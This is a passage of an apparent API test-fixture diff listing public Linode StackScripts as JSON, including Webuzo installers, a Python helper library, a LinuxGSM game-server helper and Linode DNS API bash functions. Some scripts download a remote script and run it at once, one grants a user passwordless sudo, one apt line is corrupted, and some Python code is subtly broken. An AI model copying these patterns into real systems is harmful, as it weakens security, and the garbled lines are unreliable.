Webuzo", "description": "HelpDEZk is a powerfull software that manages - requests/incidents. It has all the needed requirements to an efficient workflow - management of all processes involved in service execution. This control is done - for internal demands and also for outsourced services.\r\n\r\nHelpDEZk can be - used at any company''s area, serving as an support to the shared service center - concept, beyond the ability to log all the processes and maintain the request''s - history, it can pass it through many approval levels.\r\n\r\nHelpDEZk can put - together advanced managing resources with an extremely easy use. Simple and - intuitive screens make the day-by-day easier for your team, speeding up the - procedures and saving up a lot of time. It is developped in objects oriented + Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193748, "username": + "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": + "StackScript Python Library", "description": "Does nothing on its own. Do not + deploy directly.\r\n\r\nA collection of useful Python functions to be included + in other StackScripts.", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", + "linode/centos7", "linode/debian8", "linode/fedora22"], "deployments_total": + 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "rev_note": "Initial import.", "script": "#!/usr/bin/env + python\n\n\"\"\"\nPython Library StackScript\n\n\tAuthor: Ricardo N Feliciano + \n\tVersion: 1.0.0.0\n\tRequirements:\n\t\t- n/a\n\nThis + StackScript is not meant to be directly deployed. Includes a host of\nfunctions + to do very common task on a distro, as implemented in Python. The\nfunctions + in this library are designed to be run accross the Linode Core\nDistributions:\n\t- + Ubuntu\n\t- CentOS\n\t- Debian\n\t- Fedora\n\"\"\"\n\n\nimport crypt\nimport + fcntl\nimport logging\nimport os\nimport platform\nimport pwd\nimport socket\nimport + subprocess\nimport sys\nimport time\ntry:\n\timport apt\nexcept:\n\ttry:\n\t\timport + yum\n\texcept:\n\t\ttry:\n\t\t\timport dnf\n\t\texcept ImportError:\n\t\t\tprint(\"Package + manager support was not found.\")\n\t\t\t\n\ndistro = None\n\"\"\"String list: + Contains details of the distribution.\"\"\"\n\n\ndef end():\n\t\"\"\"End the + StackScript cleanly.\"\"\"\n\t\n\t# Should the StackScripts themselves be removed + here at some point?\n\tlogging.info(\"The StackScript has been completed.\")\n\tsubprocess.check_output(''echo + \"The StackScript has completed. Press enter to continue.\" | wall -n'', shell=True)\n\n\ndef + init():\n\t\"\"\"Start features we consider StackScript standard.\"\"\"\n\t\n\t# + Sanity check for CentOS 7 & Fedora 22\n\tif os.path.exists(\"/var/log/stackscript.log\"):\n\t\tsys.exit(1) + # StackScript already started once, bail\n\t\n\twith open(\"/etc/profile.d/stackscript.sh\", + \"w\") as f:\n\t\tf.write(\"\"\"#!/bin/bash\nif pgrep -f \"python /root/StackScript\" + &>/dev/null\nthen\n\techo \"####################################################################\"\n\techo + \"#####\"\n\techo \"##### Warning: Your StackScript is still running\"\n\techo + \"#####\"\n\techo \"#####\"\n\techo \"##### Please do not make any system changes + until it \"\n\techo \"##### completes. Log file is located at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo + \"####################################################################\"\n\techo + \" \"\nelse\n\techo \"####################################################################\"\n\techo + \"#####\"\n\techo \"##### The StackScript has completed. Enjoy your system.\"\n\techo + \"#####\"\n\techo \"#####\"\n\techo \"##### For reference, the logfile is located + at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo \"####################################################################\"\n\techo + \" \"\n\trm /etc/profile.d/stackscript.sh\nfi\"\"\")\n\t\n\tlogging_start()\n\n\ndef + logging_start(the_file=\"/var/log/stackscript.log\", the_level=logging.INFO):\n\t\"\"\"Turn + on logging.\"\"\"\n\t\n\tlogging.basicConfig(filename=the_file, level=the_level)\n\tlogging.info(\"Logging + has started. \" + str(time.time()))\n\n\ndef system_detect_distro():\n\t\"\"\"Prepares + distro information.\n\t\n\tThis is critical to support the Linode Core Distributions + with a single\n\tscript.\n\t\"\"\"\n\tglobal distro\n\n\t# add support for logging\n\t\n\tdistro + = dict(zip((''distname'', ''version'', ''codename''),\n\tplatform.linux_distribution(full_distribution_name=0)))\n\t\n\tdistro[''distname''] + = distro[''distname''].lower()\n\n\tif distro[''distname''] in (''debian'', + ''ubuntu''):\n\t\tdistro[''family''] = \"debian\"\n\telif distro[''distname''] + in (''fedora'', ''centos''):\n\t\tdistro[''family''] = \"redhat\"\n\telse:\n\t\traise + NotImplementedError(\"This distribution is not supported.\")\n\n\ndef system_IP_get():\n\t\"\"\"Return + IPv4 address configured on eth0.\n\t\n\tThis basically is a disgusting hack. + Please let me know if you find a\n\tcleaner way to do this.\"\"\"\n\t# add support + for logging\n\n\ts = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\treturn + socket.inet_ntoa(fcntl.ioctl(\n\t\ts.fileno(),\n\t\t0x8915, # SIOCGIFADDR\n\t\tstruct.pack(''256s'', + \"eth0\")\n\t)[20:24])\n\n\ndef system_IP_rdns(IP):\n\t\"\"\"Get PTR for given + IP address.\"\"\"\n\t# add support for logging\n\n\treturn socket.gethostbyaddr(IP)[0]\n\n\ndef + system_package_install(package, update_first=True):\n\t\"\"\"Install a package + with the appropriate package manager.\"\"\"\n\t# add support for logging\n\n\tif + distro is None:\n\t\tsystem_detect_distro()\n\n\tsystem_update() if update_first + else None\n\t\n\tif distro[''family''] == \"debian\":\n\t\tos.environ[''DEBIAN_FRONTEND''] + = \"noninteractive\"\n\t\tcache = apt.Cache()\n\t\tpkg = cache[package]\n\t\tpkg.mark_install()\n\t\tcache.commit()\n\telif + distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes + = True\n\t\tyb.install(name=package)\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif + distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes + = True\n\t\tdnfb.read_all_repos()\n\t\tdnfb.fill_sack()\n\t\tdnfb.install(package)\n\t\tdnfb.resolve()\n\t\tdnfb.download_packages(dnfb.transaction.install_set)\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef + system_update():\n\t\"\"\"Uses the distro''s package manager to update packages.\"\"\"\n\t#add + support for logging\n\t\n\tif distro is None:\n\t\tsystem_detect_distro()\n\t\n\tif + distro[''family''] == \"debian\":\n\t\tcache = apt.Cache()\n\t\tcache.update()\n\t\tcache.open(None)\n\t\tcache.upgrade()\n\t\tcache.commit()\n\telif + distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes + = True\n\t\tyb.update()\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif + distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes + = True\n\t\t#dnfb.read_all_repos() #updates were failing with this line\n\t\tdnfb.fill_sack()\n\t\tdnfb.upgrade_all()\n\t\tdnfb.resolve()\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef + user_add(username, password, groups):\n\t\"\"\"Creates a Linux user account.\n\t\n\tArgs:\n\t\tusername + (String): A Linux username.\n\t\tpassword (String): Password for the user.\n\t\tgroups + (tuple): Groups that the user should be added to.\n\t\n\tReturns:\n\t\tbool: + True if successful, False otherwise.\n\t\"\"\"\n\n\t# need to implement logging\n\t# + need to implement group functionality\n\n\treturn subprocess.call([''useradd'', + ''-m'', ''-p'', crypt.crypt(password, \"22\"), ''-s'', ''/bin/bash'', username])\n\n\ndef + user_add_pubkey(username, key):\n\t\"\"\"Adds the public SSH key to the specified + user.\"\"\"\n\t# need to implement logging\n\t\n\tif username != \"root\":\n\t\tos.seteuid(pwd.getpwnam(username).pw_uid)\n\t\tos.setegid(pwd.getpwnam(username).pw_gid)\n\t\n\tpubkey_dir + = os.path.join(os.getenv(\"HOME\"), \".ssh\")\n\t\n\tif not os.path.isdir(pubkey_dir):\n\t\tos.makedirs(pubkey_dir)\n\t\n\twith + open(os.path.join(pubkey_dir, \"authorized_keys\")) as f:\n\t\tf.write(key)\n\t\n\tif + username != \"root\":\n\t\tos.seteuid(0)\n\t\tos.setegid(0)", "user_defined_fields": + []}, {"id": 9237, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", + "label": "HelpDEZk powered by Webuzo", "description": "HelpDEZk is a powerfull + software that manages requests/incidents. It has all the needed requirements + to an efficient workflow management of all processes involved in service execution. + This control is done for internal demands and also for outsourced services.\r\n\r\nHelpDEZk + can be used at any company''s area, serving as an support to the shared service + center concept, beyond the ability to log all the processes and maintain the + request''s history, it can pass it through many approval levels.\r\n\r\nHelpDEZk + can put together advanced managing resources with an extremely easy use. Simple + and intuitive screens make the day-by-day easier for your team, speeding up + the procedures and saving up a lot of time. It is developped in objects oriented PHP language, with the MVC architecture and uses the templates system SMARTY. For the javascripts, JQUERY is used. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or @@ -2023,9 +2077,63 @@ interactions: \"Congratulations, SEOTOASTER has been successfully installed\"\necho \" \"\necho \"You can now configure SEOTOASTER and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous - Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978965, "username": - "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": - "Testing Update", "description": "testing Update", "ordinal": 0, "logo_url": + Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193749, "username": + "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": + "Linux GSM Helper", "description": "Linux GSM One-Click Helper", "ordinal": + 0, "logo_url": "", "images": ["linode/debian9", "linode/debian10"], "deployments_total": + 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n# + Linux GSM install\n\nfunction linuxgsm_install {\n\necho Configuring IP address\nIPADDR=`hostname + -I | awk ''{print$1}''`\n\n# Add a user for the game server\necho Setting up + a user\nadduser --disabled-password --gecos \"\" \"$GAMESERVER\"\necho \"$GAMESERVER + ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers\n\n# Download and the LinuxGSM script\necho + Downloading LinuxGSM\n# TESTING\ncd /home/\"$GAMESERVER\"/\n# OLD: wget -4 https://linuxgsm.com/dl/linuxgsm.sh + -P /home/\"$GAMESERVER\"/\nwget -O linuxgsm.sh https://linuxgsm.sh -P /home/\"$GAMESERVER\"/\nchmod + +x /home/\"$GAMESERVER\"/linuxgsm.sh\nchown -R \"$GAMESERVER\":\"$GAMESERVER\" + /home/\"$GAMESERVER\"/*\n\n# Run the GSM script\necho running LinuxGSM script\nsu + - \"$GAMESERVER\" -c \"/home/$GAMESERVER/linuxgsm.sh $GAMESERVER\"\n\n}\n\n\nfunction + game_install {\n\n# Installing the Server\necho Installing the Server\nsu - + \"$GAMESERVER\" -c \"/home/$GAMESERVER/$GAMESERVER auto-install\"\nif [[ \"$GAMESERVER\" + =~ (^boserver$|^bb2server$|^bmdmserver$| \\\n^cssserver$|^csgoserver$|^dodsserver$|^emserver$| + \\\n^gmodserver$|^insserver$|^nmrihserver$|^tf2server$| \\\n^tuserver$|^zpsserver$) + ]]; then\n echo -e \"\\ngslt=$GSLT\" >> /home/\"$GAMESERVER\"/lgsm/config-lgsm/\"$GAMESERVER\"/\"$GAMESERVER\".cfg\nelse\n echo + No Gameserver Login Token Needed\nfi\n\n}\n\n\nfunction service_config {\n\n# + Add cron jobs for updating the gameserver and linuxgsm. Monitor will ensure + that the gameserver is running and restart if needed.\necho Adding game update + cron jobs\ncrontab -l > gamecron\necho \"*/5 * * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER + monitor'' > /dev/null 2>&1\" >> gamecron\necho \"0 23 * * * su - $GAMESERVER + -c ''/home/$GAMESERVER/$GAMESERVER update'' > /dev/null 2>&1\" >> gamecron\necho + \"30 23 * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER update-functions'' + > /dev/null 2>&1\" >> gamecron\ncrontab gamecron\nrm gamecron\n\n# Create systemd + service file\n\ncat << END > /etc/systemd/system/$GAMESERVER.service\n[Unit]\nDescription=$GAMESERVER\n\n[Service]\nUser=$GAMESERVER\nType=forking\nExecStart=/bin/bash + /home/$GAMESERVER/$GAMESERVER start\nExecStop=/bin/kill -2 $MAINPID\n\n[Install]\nWantedBy=multi-user.target\nEND\n\n}\n\n## + Adding these for Valheim launch, will eventually replace the above code, but + for now, we added ''v_'' in front of functions\n\nfunction v_linuxgsm_install + {\n local -r gameserver=\"$1\" username=\"$2\"\n\n su - \"$username\" + -c \"\n # Download and the LinuxGSM script\n wget -O linuxgsm.sh + https://linuxgsm.sh\n chmod +x linuxgsm.sh\n # Run the GSM script\n /home/$username/linuxgsm.sh + $gameserver\n \"\n}\n\nfunction v_linuxgsm_game_install {\n local -r gameserver=\"$1\" + username=\"$2\"\n\n # Installing the Server\n su - \"$username\" -c \"/home/$username/$gameserver + auto-install\"\n if [[ \"$gameserver\" =~ (^boserver$|^bb2server$|^bmdmserver$| + \\\n ^cssserver$|^csgoserver$|^dodsserver$|^emserver$| \\\n ^gmodserver$|^insserver$|^nmrihserver$|^tf2server$| + \\\n ^tuserver$|^zpsserver$) ]]; then\n echo -e \"\\ngslt=$GSLT\" + >> \"/home/$username/lgsm/config-lgsm/$gameserver/$gameserver.cfg\"\n else\n echo + No gameserver Login Token Needed\n fi\n}\n\nfunction v_linuxgsm_service_config + {\n local -r gameserver=\"$1\" username=\"$2\"\n\n # Add cron jobs for + updating the game server and LinuxGSM\n # Monitor will ensure that the gameserver + is running and restart if needed\n crontab -l > gamecron\n\n echo \"*/5 + * * * * su - \"$username\" -c ''/home/$username/$gameserver monitor'' > /dev/null + 2>&1\" >> gamecron\n echo \"0 23 * * * su - \"$username\" -c ''/home/$username/$gameserver + update'' > /dev/null 2>&1\" >> gamecron\n echo \"30 23 * * * su - \"$username\" + -c ''/home/$username/$gameserver update-functions'' > /dev/null 2>&1\" >> gamecron\n\n crontab + gamecron\n rm gamecron\n\n # Create systemd service file\n cat << EOF + > /etc/systemd/system/$gameserver.service\n[Unit]\nDescription=$gameserver\n[Service]\nUser=$username\nType=forking\nExecStart=/bin/bash + /home/$username/$gameserver start\nExecStop=/bin/kill -2 \\$MAINPID\n[Install]\nWantedBy=multi-user.target\nEOF\n}\n\nfunction + v_linuxgsm_oneclick_install {\n local -r gameserver=\"$1\" username=\"$2\"\n\n v_linuxgsm_install + \"$gameserver\" \"$username\"\n v_linuxgsm_game_install \"$gameserver\" \"$username\"\n v_linuxgsm_service_config + \"$gameserver\" \"$username\"\n}", "user_defined_fields": []}, {"id": 978965, + "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", + "label": "Testing Update", "description": "testing Update", "ordinal": 0, "logo_url": "", "images": ["linode/arch", "linode/slackware14.2", "linode/debian10", "linode/alpine3.13"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": @@ -2091,18 +2199,63 @@ interactions: 1\n\ncd ${HOME}\nSCRIPT=$(basename $SCRIPT_URL)\nrm -f ${SCRIPT}\necho \"Copying ${SCRIPT_URL} to ${HOME}\"\nwget --tries=5 ${SCRIPT_URL} && /usr/bin/dos2unix ${SCRIPT} && . ${SCRIPT}\ncd ${HOME} && rm -f ${SCRIPT}", "user_defined_fields": - []}, {"id": 9239, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", - "label": "Webasyst powered by Webuzo", "description": "Webasyst is a free PHP - framework for creating sleek multi-user web apps and for building websites. - Webasyst offers a multi-app UI ready for integrating and designing your app, - handles user authorization, access rights management, routing setup, and much - more. Great for creating web solutions for businesses and teams. \r\n\t\t\t\r\nWebuzo - is a Single User Control Panel which helps users deploy Web Apps (WordPress, - Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) - on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License - here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn - completion of the installation process, access http://your-ip:2004 to configure - Webasyst and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", + []}, {"id": 1193750, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", + "label": "Basic OCA Helper ", "description": "Basic OCA Helper One-Click", "ordinal": + 0, "logo_url": "", "images": ["linode/debian9"], "deployments_total": 0, "deployments_active": + 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "rev_note": "move apt-get upgrade to end of script to + prevent busted nf_conntrack kernel modules for UFW - cmullen ", "script": "#!/bin/bash\n# + Used for Marketplace Apps\n# Helper functions\n\nfunction apt_setup_update {\n # + Force IPv4 and noninteractive update\n echo ''Acquir1234::5678orceIPv4 \"true\";'' + > /etc/apt/apt.conf.d/99force-ipv4\n export DEBIAN_FRONTEND=noninteractive\n apt-get + update -y\n}\n\nfunction set_hostname {\n IP=`hostname -I | awk ''{print$1}''`\n HOSTNAME=`dnsdomainname + -A`\n hostnamectl set-hostname $HOSTNAME\n echo $IP $HOSTNAME >> /etc/hosts\n}\n\nfunction + mysql_root_preinstall {\n # Set MySQL root password on install\n debconf-set-selections + <<< \"mysql-server mysql-server/root_password password $DBROOT_PASSWORD\"\n debconf-set-selections + <<< \"mysql-server mysql-server/root_password_again password $DBROOT_PASSWORD\"\n}\n\nfunction + run_mysql_secure_installation_ubuntu20 {\n # Installs expect, runs mysql_secure_installation + and runs mysql secure installation.\n apt-get install -y expect\n SECURE_MYSQL=$(expect + -c \"\n set timeout 10\n spawn mysql_secure_installation\n expect \\\"Press + y|Y for Yes, any other key for No:\\\"\n send \\\"n\\r\\\"\n expect \\\"New + password:\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Re-enter new + password:\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Remove anonymous + users? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect + \\\"Disallow root login remotely? (Press y|Y for Yes, any other key for No) + :\\\"\n send \\\"y\\r\\\"\n expect \\\"Remove test database and access to + it? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect + \\\"Reload privilege tables now? (Press y|Y for Yes, any other key for No) :\\\"\n send + \\\"y\\r\\\"\n expect eof\n \")\n echo \"$SECURE_MYSQL\"\n}\n\nfunction ufw_install + {\n # Install UFW and add basic rules\n apt-get install ufw -y\n ufw default + allow outgoing\n ufw default deny incoming\n ufw allow ssh\n ufw enable\n systemctl + enable ufw\n\n # Stop flooding Console with messages\n ufw logging off\n}\n\nfunction + fail2ban_install {\n # Install and configure Fail2ban\n apt-get install fail2ban + -y\n cd /etc/fail2ban\n cp fail2ban.conf fail2ban.local\n cp jail.conf jail.local\n systemctl + start fail2ban\n systemctl enable fail2ban\n cd\n}\n\nfunction stackscript_cleanup + {\n # Force IPv4 and noninteractive upgrade after script runs to prevent breaking + nf_conntrack for UFW\n echo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n export + DEBIAN_FRONTEND=noninteractive \n apt-get upgrade -y\n\n rm /root/StackScript\n rm + /root/ssinclude*\n echo \"Installation complete!\"\n}\n\nfunction run_mysql_secure_installation + {\n # Installs expect, runs mysql_secure_installation and runs mysql secure + installation.\n apt-get install -y expect\n SECURE_MYSQL=$(expect -c \"\n set + timeout 10\n spawn mysql_secure_installation\n expect \\\"Enter current password + for root (enter for ):\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Change + the root password?\\\"\n send \\\"n\\r\\\"\n expect \\\"Remove anonymous users?\\\"\n send + \\\"y\\r\\\"\n expect \\\"Disallow root login remotely?\\\"\n send \\\"y\\r\\\"\n expect + \\\"Remove test database and access to it?\\\"\n send \\\"y\\r\\\"\n expect + \\\"Reload privilege tables now?\\\"\n send \\\"y\\r\\\"\n expect eof\n \")\n echo + \"$SECURE_MYSQL\"\n}", "user_defined_fields": []}, {"id": 9239, "username": + "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Webasyst + powered by Webuzo", "description": "Webasyst is a free PHP framework for creating + sleek multi-user web apps and for building websites. Webasyst offers a multi-app + UI ready for integrating and designing your app, handles user authorization, + access rights management, routing setup, and much more. Great for creating web + solutions for businesses and teams. \r\n\t\t\t\r\nWebuzo is a Single User Control + Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or + System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines + or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath + to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion + of the installation process, access http://your-ip:2004 to configure Webasyst + and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": @@ -2175,23 +2328,226 @@ interactions: \"Congratulations, jforum has been successfully installed\"\necho \" \"\necho \"You can now configure jforum and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous - Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 48408, "username": - "crooksau", "user_gravatar_id": "f33d8e66bbce5c95fcb2a96dc8a4beaa", "label": - "Debian 8 Install", "description": "Debian 8 Install for BODYRUBS.RU", "ordinal": - 0, "logo_url": "", "images": ["linode/debian8"], "deployments_total": 0, "deployments_active": - 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/sh", - "user_defined_fields": []}, {"id": 9241, "username": "webuzo", "user_gravatar_id": - "cf0348f835d60e6d133040f49bb36ec5", "label": "Admidio powered by Webuzo", "description": - "Admidio is a free online membership management, optimized for clubs, groups - and organizations. It consists of classical management members from a variety - of modules that can be installed and adjusted to a new or existing website.\r\n\r\nRegistered - users have your website by Admidio including access to predefined and user-configurable - membership lists, people profiles and an Agenda. In addition, members may be - pooled in groups are assigned properties and search for it.\r\n\r\nWebuzo is - a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, - Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their - virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath + Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193752, "username": + "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": + "API Functions Helper", "description": "api", "ordinal": 0, "logo_url": "", + "images": ["linode/slackware14.1", "linode/centos7", "linode/ubuntu16.04lts", + "linode/arch", "linode/slackware14.2", "linode/gentoo", "linode/debian9", "linode/ubuntu18.04", + "linode/debian10", "linode/centos8", "linode/alpine3.11"], "deployments_total": + 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/usr/bin/env + bash\n\n### Linode API Bash Functions\n\n##################################\n## + Pre-Requisites\n##################################\n\n## Import StackScript + 1 (Bash Library) so that check_dns_propagation() can install ''dig''\n#source + \n\n## Install jq\nif [ ! -x /usr/bin/jq ] && [ ! + -x /usr/local/bin/jq ]; then\n which wget || system_install_package wget\n wget + https://github.com/stedolan/jq/releases/download/jq-1.6/jq-linux64\n mv jq-linux64 + jq\n chmod +x jq\n mv jq /usr/bin/\nfi\n\n\n##################################\n## + DNS\n##################################\n\n## Fetch DNS info from the API\n\nfunction + list_domains {\n # Example: list_domains\n\n curl -H \"Authorization: + Bearer $TOKEN_PASSWORD\" \\\n https://api.linode.com/v4/domains | jq + -S\n}\n\nfunction list_records {\n # Example: list_records $DOMAIN\n \n local + -r domain=\"$1\"\n local -r domain_id=$(get_domain_property $domain ''id'')\n\n curl + -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n https://api.linode.com/v4/domains/$domain_id/records + | jq -S\n}\n\nfunction get_domain_property {\n # Example: get_domain_property + $DOMAIN ''id'' \n\n local -r domain=\"$1\" property=\"$2\"\n local -a + domain_list=($(list_domains $TOKEN_PASSWORD))\n local -r num_domains=$(echo + \"${domain_list[@]}\" | jq ''.results'')\n\n for ((i=0; i<$num_domains; i++)); + do\n local domain_name=$(echo \"${domain_list[@]}\" | jq .data[$i].domain + | sed ''s/\"//g'')\n case \"$domain_name\" in\n \"$domain\")\n echo + \"${domain_list[@]}\" | jq .data[$i].$property\n break;\n ;;\n esac\n done\n}\n\nfunction + check_domain {\n # Example: check_domain \"$DOMAIN\"\n\n local -r domain=\"$1\"\n if + [ \"$(get_domain_property \"$domain\" ''domain'')\" ];\n then return + 0;\n else return 1;\n fi\n}\n\nfunction get_record_id {\n # Example: + get_record_id \"$DOMAIN\" \"$SUBDOMAIN\" \"$TYPE\"\n\n local -r domain=\"$1\" + subdomain=\"$2\" type=\"$3\"\n local -r domain_id=$(get_domain_property \"$domain\" + ''id'')\n local -a record_list=($(list_records \"$domain\"))\n local -r + num_records=$(echo \"${record_list[@]}\" | jq ''.results'')\n\n for ((i=0; + i<$num_records; i++)); do\n local record_name=$(echo \"${record_list[@]}\" + | jq .data[$i].name | sed ''s/\"//g'')\n case \"$record_name\" in\n \"$subdomain\")\n local + record_type=$(echo \"${record_list[@]}\" | jq .data[$i].type | sed ''s/\"//g'')\n if + [ \"$record_type\" == \"$type\" ]; then\n echo \"${record_list[@]}\" + | jq .data[$i].id\n break;\n fi\n ;;\n esac\n done\n}\n\nfunction + check_record {\n # Example: check_record $DOMAIN $SUBDOMAIN $TYPE\n\n local + -r domain=\"$1\" subdomain=\"$2\" type=\"$3\"\n local -r domain_id=$(get_domain_property + \"$domain\" ''id'')\n local -a record_list=($(list_records \"$domain\"))\n local + -r num_records=$(echo \"${record_list[@]}\" | jq ''.results'')\n\n for ((i=0; + i<$num_records; i++)); do\n local record_name=$(echo \"${record_list[@]}\" + | jq .data[$i].name | sed ''s/\"//g'')\n case \"$record_name\" in \n \"$subdomain\")\n local + record_type=$(echo \"${record_list[@]}\" | jq .data[$i].type | sed ''s/\"//g'')\n if + [ \"$record_type\" == \"$type\" ]; then\n local found_record=true\n break;\n fi\n ;;\n esac\n done\n\n if + [ \"$found_record\" ]; then\n return 0;\n else\n return 1;\n fi\n}\n\n## + Create new DNS records\n\nfunction create_domain {\n # Example: create_domain + $DOMAIN $SOA_EMAIL_ADDRESS\n \n local -r domain=\"$1\" soa_email_address=\"$2\"\n\n curl + -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer + $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"domain\": \"''\"$domain\"''\",\n \"type\": + \"master\",\n \"soa_email\": \"''\"$soa_email_address\"''\",\n \"description\": + \" \",\n \"refresh_sec\": 14400,\n \"retry_sec\": 3600,\n \"expire_sec\": + 604800,\n \"ttl_sec\": 300,\n \"status\": \"active\",\n \"display_group\": + \" \"\n }'' https://api.linode.com/v4/domains\n\n # There''s a + reason I added this, but it seems I didn''t leave a comment\n # I''ll + experiment with removing it later, but am leaving it for now in\n # the + interest of not breaking anything\n sleep 3\n}\n\nfunction create_a_record + {\n # Example: create_a_record $SUBDOMAIN $IP $DOMAIN\n\n local -r subdomain=\"$1\" + ip_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property + \"$domain\" ''id'')\n\n curl -H \"Content-Type: application/json\" \\\n -H + \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\": + \"A\",\n \"name\": \"''\"$subdomain\"''\",\n \"target\": + \"''\"$ip_address\"''\",\n \"priority\": 0,\n \"service\": + null,\n \"protocol\": null\n }'' https://api.linode.com/v4/domains/$domain_id/records\n\n}\n\nfunction + create_aaaa_record {\n # Example: create_aaaa_record $SUBDOMAIN $IP $DOMAIN\n\n local + -r subdomain=\"$1\" ip6_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property + \"$domain\" ''id'')\n\n curl -H \"Content-Type: application/json\" \\\n -H + \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\": + \"AAAA\",\n \"name\": \"''\"$subdomain\"''\",\n \"target\": + \"''\"$ip6_address\"''\",\n \"priority\": 0,\n \"service\": + null,\n \"protocol\": null\n }'' https://api.linode.com/v4/domains/$domain_id/records\n}\n\nfunction + create_mx_record {\n # Example: create_mx_record $DOMAIN\n\n local -r + domain=\"$1\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n\n curl + -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer + $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\": \"MX\",\n \"name\": + \"''\"mail.${domain}\"''\",\n \"target\": \"''\"$domain\"''\",\n \"priority\": + 10,\n \"service\": null,\n \"protocol\": null,\n \"ttl_sec\": + 0\n }'' https://api.linode.com/v4/domains/$domain_id/records\n}\n\nfunction + create_spf_record {\n ## This function needs updating to allow the creation + of custom SPF records\n\n # Example create_spf_record $DOMAIN\n\n local + -r domain=\"$1\"\n local -r domain_id=$(get_domain_property \"$domain\" 